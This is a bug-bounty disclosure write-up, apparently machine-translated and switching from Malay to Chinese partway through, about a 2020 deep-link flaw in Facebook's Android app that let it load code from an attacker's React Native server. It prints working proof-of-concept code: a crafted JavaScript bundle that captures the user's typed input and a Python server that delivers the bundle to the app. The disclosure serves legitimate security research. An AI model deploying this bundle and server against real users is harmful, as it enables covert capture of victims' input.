Rumah >Operasi dan penyelenggaraan >Keselamatan >Cara menggunakan pautan dalam ke APP Facebook pintu belakang

Cara menggunakan pautan dalam ke APP Facebook pintu belakang

WBOY
WBOYke hadapan
2023-05-19 14:49:361584semak imbas

Baru-baru ini, pengarang menemui kelemahan pautan dalam dalam APP Android Facebook Menggunakan kerentanan ini, APP Android Facebook yang dipasang pada telefon mudah alih pengguna boleh ditukar menjadi program pintu belakang (Backdoor) untuk mencapai pintu belakang. Selain itu, kelemahan ini juga boleh digunakan untuk membungkus semula aplikasi Facebook dan menghantarnya kepada mangsa sasaran terpilih untuk dipasang dan digunakan. Mari kita lihat proses penemuan pengarang tentang kerentanan ini, dan bagaimana ia akhirnya berubah menjadi risiko keselamatan dalam persekitaran pengeluaran sebenar Facebook APP melalui pembinaan Muatan.

Vulnerability Discovery

Biasanya apabila melakukan ujian awam, saya akan terlebih dahulu memahami dengan teliti mekanisme aplikasi sistem sasaran. Dalam blog terakhir saya, saya telah berkongsi beberapa pengalaman menemui pautan dalam (deeplink) dalam aplikasi parameter FB4A dengan menghuraikan Facebook APP Di sini, saya akan berkongsi dahulu fail skrip yang saya tulis, yang secara automatik boleh menemui pautan dalam Facebook APP (pautan dalam). Fail skrip ialah - Pengikis Pautan Dalam Android Facebook (FBLinkBuilder.py), yang merupakan program kod berasaskan Python khusus untuk mengekstrak pautan dalam (pautan dalam) daripada APK Facebook:

import os 
import json
import argparse
from zipfile import ZipFile 
from datetime import datetime

fname = datetime.now().strftime("FB_Deeplinks%d%m%Y%H%M%S.txt") #default filename

parser = argparse.ArgumentParser() 
parser.add_argument('-i', help='Facebook APK file')
parser.add_argument('-o', help='Output file', nargs='?', default=fname)
parser.add_argument('-e', help='Only show exported. Defaulted to False', nargs='?', default=False)
args = parser.parse_args()

file_name = args.i #apk
output_name = args.o #generated output / provided
exported = args.e #False / provided

with ZipFile(file_name, 'r') as zip: 
    print('Extracting native routes file...') #fyi
    
    data = zip.read('assets/react_native_routes.json') #extract file from zip
    js = json.loads(data.decode("utf-8")) #to read as list

    params = '' #placeholder
    
    i = 0 #deeplink count
    
    text_file = open(output_name, "w") #open output

    print('Manipulating data...') #fyi
    for key in js: #for each block in json
        for key2 in key['paramDefinitions']: #grab the collection of params
            params += key2 + '=' + str(key['paramDefinitions'][key2]['type']).upper() + '&' #append params with type
            
        if exported: #exported only
            if key.get('access','') != 'exported': #check access key
                params = '' #Reset params
                continue #try next block
                
        link = 'fb:/' + key['path'] + '/?' + params #build link
        print(link[:-1]) #fyi
        text_file.write(link[:-1]+ '\n') #write to file
        i += 1 #increase counter
        params = '' #reset params

    text_file.close() #save file
    
    print('File: ' + output_name + ' saved') #fyi
    print(str(i) + ' deep links generated') #fyi

Sumber muat turun: https:// github .com/ashleykinguk/FBLinkBuilder/

Penggunaan: .FBLinkBuilder.py -i fb0409.apk

Dengan menjalankan FBLinkBuilder.py, kita boleh membandingkan pelaksanaan berbeza Pautan dalam yang muncul antara versi APP digunakan untuk melihat perubahan dalam perkhidmatan aplikasi dalam versi APP yang berbeza Saya menggunakan kaedah ini untuk menemui pautan dalam yang tidak selamat dalam versi 2020 APP Facebook: fb:// rnquantum_notification_handler/?address=. , yang telah ditambahkan pada APP Facebook buat kali pertama dalam versi 2020.

Format parameter pautan dalam ini ialah nama hos/ip, jadi saya menggunakan pelayan saya sendiri 192.168.0.2 untuk melakukan ujian: fb://rnquantum_notification_handler/?address=192.168.0.2 :8224, melalui pautan ini, tetingkap pop timbul berikut boleh muncul dalam APP Facebook:

如何利用深度链接方式后门化Facebook APPSelepas mengklik butang "Dayakan Kuantum", APP Facebook akan dimulakan semula cuba saya perhatikan beberapa perubahan, tetapi tiada apa yang kelihatan luar biasa. Seterusnya, saya mengalihkan perhatian saya kepada trafik rangkaian Pada masa itu, saya memikirkan fungsi ujian topi putih yang baru-baru ini dibuka oleh Facebook khusus untuk penyelidik keselamatan boleh menggunakan fungsi ini untuk memintas Penyematan Sijil Facebook (Penyematan Sijil). ) dan sekatan keselamatan lain untuk menguji trafik rangkaian aplikasi berkaitan Facebook. Saya menggunakan fungsi ujian topi putih dan mendapati bahawa selepas melakukan operasi di atas, aplikasi Facebook akan mengeluarkan permintaan pautan keluar berikut:

http://192.168.0.2:8224/message?device= Android+ SDK+dibina+untuk+x86+-+10+-+API+29&app=com.facebook.katana&clientid=DevSupportManagerImpl

http://192.168.0.2:8224/status

Mekanisme permintaan pertama di sini adalah untuk lulus berdasarkan maklumat atribut peranti mudah alih dan berhasrat untuk mewujudkan sambungan soket web, permintaan kedua adalah untuk mengembalikan maklumat status hos pembungkus-status:running, yang merupakan tindak balas terbina dalam Facebook; -kod sumber asli Untuk parameter, sila rujuk Github: /com/facebook/react/devsupport/DevServerHelper.java.

Dan apabila saya cuba membina mesej respons dalam pelayan saya sendiri 192.168.0.2, saya menemui permintaan lain yang dijana oleh Facebook APP:

http://192.168 .0.2:8224 /RKJSModules/EntryPoints/Fb4aBundle.bundle?platform=android&dev=true&minify=false


Tujuan permintaan ini adalah untuk mencari parameter FB4A yang disimpan dalam fail pakej, mengikut analisis awal, parameter ini sepatutnya Ia disimpan dalam APP Facebook dalam teks yang jelas dan bukannya format hbc* biasa. Saya cuba memasukkan parameter FB4A dalam format hbc* untuk ujian, tetapi ia akhirnya ranap APP Facebook.

Malah, untuk Facebook APP, sebelum 2019, fail pembungkusannya (berkumpulan) disimpan dalam fail rasmi dalam direktori /assets/, tetapi selepas 2019, Facebook memperkenalkan format hbc (*Hermes ByteCode), pada satu tangan untuk mengurangkan APK, dan sebaliknya untuk menghalang kod teras daripada dibuat secara eksplisit. Walaupun saya cuba menggunakan alat format hbc HBCdump untuk menjana fail pakej kira-kira 250M untuk APP Facebook, ia nampaknya tidak berguna.

Selepas merampas APP Facebook

, saya memikirkan cara lain untuk mencari fail yang dibungkus: iaitu dengan melihat versi lama APP Facebook dan membandingkan kandungan pakej plaintext dan ralat yang dihasilkan oleh peranti mudah alih Mesej dibandingkan, dan mesej ralat yang dihasilkan oleh peranti mudah alih boleh dilihat melalui logcat. Selepas perbandingan, saya menemui petunjuk berikut:

__fbBatchedBridge - objek yang diperlukan dalam fail pakej, yang mengandungi pelbagai komponen berfungsi yang disegerakkan dengan aplikasi APP

__fbBatchedBridge.callFunctionReturnFlushedQueue - Fungsi yang dipanggil oleh latar belakang APP akan melaksanakan tindakan atau acara yang sepadan setiap kali ia dipanggil.

Berdasarkan penemuan di atas, idea saya adalah untuk membolehkan Facebook APP berjaya memuat turun dan melaksanakan fail pakej yang saya bina Untuk mencapai tujuan ini, saya perlu menulis sendiri fail pakej tersebut hoskannya pada saya Dalam hos yang dihoskan sendiri 192.168.0.2. Berikut ialah fail pakej FB4abundle.js yang saya bina:
/* contact@ash-king.co.uk */

var i = 0, logs = ''; /* our local vars */

/*the below objects are required for the app to execute the bundle. See lines 47-55 for the custom js */
var __fbBatchedBridge = { 
	_lazyCallableModules: {},
	_queue: [[], [], [], 0],
	_callID: 0,
	_lastFlush: 0,
	_eventLoopStartTime: Date.now(),
	_immediatesCallback: null,
    callFunctionReturnFlushedQueue: function(module, method, args) {
		return __fbBatchedBridge.__guard(function() {
		  __fbBatchedBridge.__callFunction(module, method, args)
		}), __fbBatchedBridge.flushedQueue()
	},
    callFunctionReturnResultAndFlushedQueue: function(e, u, s) {
		return __fbBatchedBridge.__guard(function() {
		  throw new Error('callFunctionReturnResultAndFlushedQueue: ' + a);
		}), __fbBatchedBridge.flushedQueue()
	},
    invokeCallbackAndReturnFlushedQueue: function(a,b,c) { 
		throw new Error('invokeCallbackAndReturnFlushedQueue: ' + a);
	},
	flushedQueue: function(a, b) {
		if(a != undefined){
			throw new Error('flushedQueue: ' + b)
		}
		__fbBatchedBridge.__callImmediates(); 
		const queue = __fbBatchedBridge._queue;
		__fbBatchedBridge._queue = [[], [], [], __fbBatchedBridge._callID];
		return queue[0].length ? queue : null;
	},
	onComplete: function(a) { throw new Error(a) },	
	__callImmediates: function() {
		if (__fbBatchedBridge._immediatesCallback != null) {
		  __fbBatchedBridge._immediatesCallback();
		  throw new Error('processCallbacks: ' + __fbBatchedBridge._immediatesCallback());
		}
	},
	getCallableModule: function(a) { 
		const getValue = __fbBatchedBridge._lazyCallableModules[a];
		return getValue ? getValue() : null;
	},
	__callFunction: function(a,b,c) {
		if(a == 'RCTNativeAppEventEmitter') { // Only capturing the search bar in settings
			i += 1 //increment count
			logs += JSON.stringify(c) + '\n'; //JSON Object
			if(i > 10) {
				/* Here is where we will write out to logcat via js*/
				var t = (nativeModuleProxy);
				throw new Error('Look HERE: ' + (logs) + '\n\r'); 
			}
		}
		__fbBatchedBridge._lastFlush = Date.now();
		__fbBatchedBridge._eventLoopStartTime = __fbBatchedBridge._lastFlush;
		const moduleMethods = __fbBatchedBridge.getCallableModule(a);
		try {
			moduleMethods[b].apply(moduleMethods, c);
		} catch (e) {
			
		}
		return -1
	},
	__guard: function(e) {
		try {
			e();
		} catch (error) {
			throw new Error('__guard: ' + error); 
		}	
	}
};

另外需要一个脚本文件fb_server.py,以便让Facebook APP自动调用该包文件

#contact@ash-king.co.uk

from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(500)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("", "utf-8"))

    def do_GET(self):
        if self.path == '/status':
            self.resp_status()
        elif str(self.path).find('message?device=') > -1:
            self.resp_message()
        elif str(self.path).find('Fb4aBundle.bundle') > -1:
            self.resp_fb4a()

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data.decode('utf-8'))
        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

    def resp_message(self):
        logging.info("resp_message")
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("", "utf-8"))
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))

    def resp_status(self):
        logging.info("resp_status")
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("packager-status:running", "utf-8"))
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        
    def resp_fb4a(self):
        logging.info("resp_bundle")
        self.send_response(200)
        self.send_header('Content-type', 'multipart/mixed')
        self.end_headers()
        with open('FB4abundle.js', 'rb') as file: 
            self.wfile.write(file.read())
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))

def run(server_class=HTTPServer, handler_class=S, port=8224):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    run()

综合深度链接、包文件调用和我自己构造加入的"Enable Quantum"URL链接,最终我可以向Facebook APP调用包文件中加入我自制的代码,并由其中的深度链接来实现调用。在我的POC漏洞验证展示中,如果受害者运行了我重打包的Facebook APP后,我可以拦截他在Facebook APP中的输入字符流量,如拦截他输入的5个字符流量“testi”,并会在logfile中显示他实际输入的字符,且最终会产生一个告警提示:

如何利用深度链接方式后门化Facebook APP

漏洞影响

恶意攻击者可以利用该漏洞,通过物理接触移动设备上的APP或向受害者发送重打包APP的方式,向受害者移动端设备APP中植入持久化连接,对受害者设备APP形成长期感知探测的后门化。

然而,一开始,Facebook安全团队却忽略了该漏洞,他们选择了关闭该漏洞报告并分类为不适用(not applicable),他们给出的解释为:

Any user that is knowledgable enough to manage servers and write code would also be able to control how the app operates. That is also true for any browser extension or manual app created. A user is also able to proxy all their HTTP Traffic to manipulate those requests. Only being able to make local modifications with a PoC showing actual impact does not fully qualify for the Bug Bount.

之后,我就公布了POC验证视频,一小时后,Facebook安全团队的雇员联系了我,声称他们重新评估了该漏洞,并要求我删除了该POC验证视频。但在视频删除前,至少30多名观众看过了该视频。

Facebook安全团队的漏洞评估

“重新评估该漏洞后,我们决定按我们的众测标准给出对该漏洞给予奖励,在你上报的漏洞中,描述了可让受害者重定向到一个攻击者控制的 React Native Development服务端,并向受害者APP中植入恶意代码的场景,感谢你的漏洞上报。”

漏洞上报和处理进程

2020.6.20 - 漏洞上报
2020.6.22 - 提供技术细节
2020.6.23 - Facebook把该漏洞分类为N/A
2020.6.23 - 我在Youtube上公布POC视频 
2020.6.23 - Facebook重新评估该漏洞并要求我删除POC视频
2020.6.24 - 漏洞分类
2020.6.26 - Facebook通过关闭Quantum功能进行缓解
2020.8.20 - Facebook修复该漏洞
2020.9.17 - Facebook赏金奖励支付

Atas ialah kandungan terperinci Cara menggunakan pautan dalam ke APP Facebook pintu belakang. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam